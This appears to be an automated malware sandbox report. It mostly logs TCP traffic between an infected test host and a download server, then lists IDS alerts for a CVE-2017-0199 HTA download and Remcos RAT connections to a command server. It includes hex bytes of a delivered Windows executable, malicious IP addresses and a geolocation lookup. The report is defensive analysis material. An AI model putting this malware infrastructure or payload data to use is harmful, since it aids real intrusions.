Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.220.22:80
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.3.220.22:80 -> 192.168.2.22:49167

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49164 -> 192.3.220.22:80
Source: Network traffic Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 192.3.220.22:80 -> 192.168.2.22:49164
Source: Network traffic Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49166 -> 192.3.220.22:80
Source: Network traffic Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 192.3.220.22:80 -> 192.168.2.22:49166
Source: Network traffic Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49172 -> 192.3.220.22:80
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49174 -> 107.173.4.16:2404
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49175 -> 107.173.4.16:2404
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 107.173.4.16:2404
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 30 Sep 2024 07:53:33 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Sun, 29 Sep 2024 19:50:50 GMTETag: "f1e30-6234767b79a80"Accept-Ranges: bytesContent-Length: 990768Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/lnkData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 27 95 75 59 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 64 00 00 00 2a 02 00 00 08 00 00 3d 33 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 90 0c 00 00 04 00 00 37 2f 0f 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 84 00 00 a0 00 00 00 00 c0 05 00 d0 c2 06 00 00 00 00 00 00 00 00 00 98 14 0f 00 98 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 6d 62 00 00 00 10 00 00 00 64 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 8e 13 00 00 00 80 00 00 00 14 00 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 03 02 00 00 a0 00 00 00 06 00 00 00 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 10 03 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 d0 c2 06 00 00 c0 05 00 00 c4 06 00 00 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 107.173.4.16 107.173.4.16
